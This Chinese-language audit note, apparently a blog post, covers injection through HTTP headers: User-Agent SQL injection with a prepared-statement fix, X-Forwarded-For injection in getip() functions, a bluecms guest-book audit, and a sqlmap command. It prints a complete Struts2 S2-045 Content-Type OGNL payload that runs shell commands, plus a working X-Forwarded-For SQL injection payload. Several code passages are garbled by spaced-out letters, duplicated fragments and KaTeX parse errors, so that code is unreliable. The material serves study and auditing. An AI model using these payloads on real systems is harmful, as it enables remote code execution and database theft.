User-Agent引发sql注入:
下面的是存在注入的代码:
?php
$link = new mysqli(‘localhost’, ‘insecure’, ‘1ns3cur3p4ssw0rd’, ‘analytics’);
$query = sprintf(“INSERT INTO visits (ua, dt) VALUES (’%s’, ‘%s’)”,
$_SERVER[“HTTP_USER_AGENT”],
date(“Y-m-d h:i:s”));
l i n k − > q u e r y ( link->query( link−>query(query);
?>Thanks for visiting
经过加固之后的:
?php
$link = new mysqli(‘localhost’, ‘analytics_user’, ‘aSecurePassword’, ‘analytics_db’);
$stmt = $link->prepare(“INSERT INTO visits (ua, dt) VALUES (?, ?)”);
$stmt->bind_param(“ss”, $_SERVER[“HTTP_USER_AGENT”], date(“Y-m-d h:i:s”));
$stmt->execute();
?>
使用 bind_param 绑定两个参数( User-Agent 和日期),最后才是使用 execute 执行查询。
bind_param 可以确保一些 SQL 特殊字符会先被进行转义,随后才被执行
Content-Type注入又一个远程命令执行
最大的例子就是S2-045的远程命令执行
实验链接https://www.ichunqiu.com/vm/57729/1
通过构造content-Type来实现利用
Content-Type:"%{(#xxx=‘multipart/form-data’).(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)?(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’“pwd”’).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{’/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
HTTP_REFERER引发SQL注入
request.getRemoteAddr方法时,
获取的只是代理服务器的ip并不能获取请求者的真实ip。这时候一些程序员为了实现获取真实ip会采取如下方法。
public static String getIpAddr(HttpServletRequest request) {
String ip = request.getHeader(“X-Real-IP”);
if (ip == null || ip.length() == 0 || “unknown”.equalsIgnoreCase(ip)) {
ip = request.getHeader(“X-Forwarded-For”);
}
if (ip == null || ip.length() == 0 || “unknown”.equalsIgnoreCase(ip)) {
ip = request.getHeader(“Proxy-Client-IP”);
}
if (ip == null || ip.length() == 0 || “unknown”.equalsIgnoreCase(ip)) {
ip = request.getHeader(“WL-Proxy-Client-IP”);
}
if (ip == null || ip.length() == 0 || “unknown”.equalsIgnoreCase(ip)) {
ip = request.getRemoteAddr();
}
if (ip != null) {
if (ip.indexOf(’,’) > 0) {
ip = ip.split(",")[0];
}
} else {
ip = “0.0.0.0”;
}
return ip;
}
还有一种情况,代码如下
function getip()
{
if (getenv(‘HTTP_CLIENT_IP’))
{
$ip = getenv(‘HTTP_CLIENT_IP’);
}
elseif (getenv(‘HTTP_X_FORWARDED_FOR’))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv(‘HTTP_X_FORWARDED_FOR’);
}
elseif (getenv(‘HTTP_X_FORWARDED’))
{
$ip = getenv(‘HTTP_X_FORWARDED’);
}
elseif (getenv(‘HTTP_FORWARDED_FOR’))
{
$ip = getenv(‘HTTP_FORWARDED_FOR’);
}
elseif (getenv(‘HTTP_FORWARDED’))
{
$ip = getenv(‘HTTP_FORWARDED’);
}
else
{
$ip = $_SERVER[‘REMOTE_ADDR’];
}
return $ip;
}
上面的获取客户端ip的方法会造成xff注入,利用:sqlmap -r “pathfile”
而我这次审计的zcncms,在获取ip是使用以下方法:
function GetIP(){
if (getenv(“HTTP_CLIENT_IP”) && strcasecmp(getenv(“HTTP_CLIENT_IP”), “unknown”))
$ip = getenv(“HTTP_CLIENT_IP”);
else if (getenv(“HTTP_X_FORWARDED_FOR”) && strcasecmp(getenv(“HTTP_X_FORWARDED_FOR”), “unknown”))
$ip = getenv(“HTTP_X_FORWARDED_FOR”);
else if (getenv(“REMOTE_ADDR”) && strcasecmp(getenv(“REMOTE_ADDR”), “unknown”))
i p = g e t e n v ( " R E M O T E A D D R " ) ; e l s e i f ( i s s e t ( ip = getenv("REMOTE_ADDR"); else if (isset( ip=getenv("REMOTEADDR");elseif(isset(_SERVER[‘REMOTE_ADDR’]) && KaTeX parse error: Expected 'EOF', got '&' at position 24: …'REMOTE_ADDR'] &̲& strcasecmp(_SERVER[‘REMOTE_ADDR’], “unknown”))
$ip = $_SERVER[‘REMOTE_ADDR’];
else
i p = " u n k n o w n " ; / / 20130128 i f ( ! I P C h e c k ( ip = "unknown"; //20130128 if(!IPCheck( ip="unknown";//20130128if(!IPCheck(ip)){
KaTeX parse error: Expected 'EOF', got '}' at position 19: …= "unknown"; }̲ return(ip);
}
此方法我在本地测试发现没有注入成功
但是我百度在一篇博客写道:
需要注意的是,上述的代码是存在问题的。因为对于客户端来说凡是以HTTP开头的变量都是可控的,不论是通过getenv还是通过$SERVER方式获取。这些请求头都是可以通过请求头进行设置。方法很简单,取消其中的HTTP,将其中的_替换为-即可,然后每个字母首字母大写即可。
如下:
- $_SERVER[‘HTTP_CLIENT_IP’] 对应于请求头中的Client-Ip
- $_SERVER[‘HTTP_X_FORWARDED_FOR’] 对应于请求头中的X-Forwarded-For
而不可控的是$_SERVER[‘REMOTE_ADDR’],因为不是从请求头中取值。
但是如果Client-Ip和X-Forwarded-For存在值就能够保证触发漏洞了,这种漏洞主要是出现在cms中的sql注入中。
在本地抓包就行添加这两个头参数,一样没成功。
链接:https://bbs.pediy.com/thread-223671.htm
发现一篇文章,写的很好,是从实际的cms审计的
安装bluecms
在留言模块进行测试
首先在seay自动审计
找到可能因为http头伪造ip造成sql注入的地方
在common.fun.php中的getip()函数,功能是获取客户端ip
function getip()
{
if (getenv(‘HTTP_CLIENT_IP’))
{
$ip = getenv(‘HTTP_CLIENT_IP’);
}
elseif (getenv(‘HTTP_X_FORWARDED_FOR’))
{ //获取客户端用代理服务器访问时的真实ip 地址
$ip = getenv(‘HTTP_X_FORWARDED_FOR’);
}
elseif (getenv(‘HTTP_X_FORWARDED’))
{
$ip = getenv(‘HTTP_X_FORWARDED’);
}
elseif (getenv(‘HTTP_FORWARDED_FOR’))
{
$ip = getenv(‘HTTP_FORWARDED_FOR’);
}
elseif (getenv(‘HTTP_FORWARDED’))
{
$ip = getenv(‘HTTP_FORWARDED’);
}
else
{
$ip = $_SERVER[‘REMOTE_ADDR’];
}
return $ip;
因为参数有http,对于客户端来说凡是以HTTP开头的变量都是可控的,不论是通过getenv还是通过$_SERVER方式获取,所以这里存在xff注入漏洞。
那我们找到使用这个函数的地方,跟踪getip()函数
在common.inc.php文件中,有个$online_ip变量调用了这个函数
继续跟踪这个变量
在guest_book.php文件中
elseif ($act == ‘send’)
{
$user_id = $_SESSION[‘user_id’] ? $_SESSION[‘user_id’] : 0;
r i d = i n t v a l ( rid = intval( rid=intval(_POST[‘rid’]);
c o n t e n t = ! e m p t y ( content = !empty( content=!empty(_POST[‘content’]) ? htmlspecialchars($_POST[‘content’]) : ‘’;
c o n t e n t = n l 2 b r ( content = nl2br( content=nl2br(content);
if(empty($content))
{
showmsg(‘评论内容不能为空’);
}
s q l = " I N S E R T I N T O " . t a b l e ( ′ g u e s t b o o k ′ ) . " ( i d , r i d , u s e r i d , a d d t i m e , i p , c o n t e n t ) V A L U E S ( ′ ′ , ′ sql = "INSERT INTO " . table('guest_book') . " (id, rid, user_id, add_time, ip, content) VALUES ('', ' sql="INSERTINTO".table(′guestbook′)."(id,rid,userid,addtime,ip,content)VALUES(′′,′rid’, ‘ u s e r i d ′ , ′ user_id', ' userid′,′timestamp’, ‘ o n l i n e i p ′ , ′ online_ip', ' onlineip′,′content’)";
d b − > q u e r y ( db->query( db−>query(sql);
showmsg(‘恭喜您留言成功’, ‘guest_book.php?page_id=’.$_POST[‘page_id’]);
}
这里是留言页面,这段代码存在注入漏洞
我们可以利用 o n l i n e i p 变 量 传 入 我 们 变 形 的 语 句 , 来 执 行 插 入 数 据 的 操 作 根 据 以 上 的 代 码 , 当 online_ip变量传入我们变形的语句,来执行插入数据的操作 根据以上的代码,当 onlineip变量传入我们变形的语句,来执行插入数据的操作根据以上的代码,当act为send是触发漏洞
我们利用X-Forwarded-For传值给$online_ip,于是构造
X-Forwarded-For: 1’,‘content’),(’’, ‘0’, ‘5’, ‘1513505345’, version(), ‘content2111’)#
这样闭合先第一个插入语句,再执行第二个语句,这样插入了version()结果
到这里基本实现,不过不能进行联合查询,只能查到些数据。
下一步计划是对zcncms的审计,先这样吧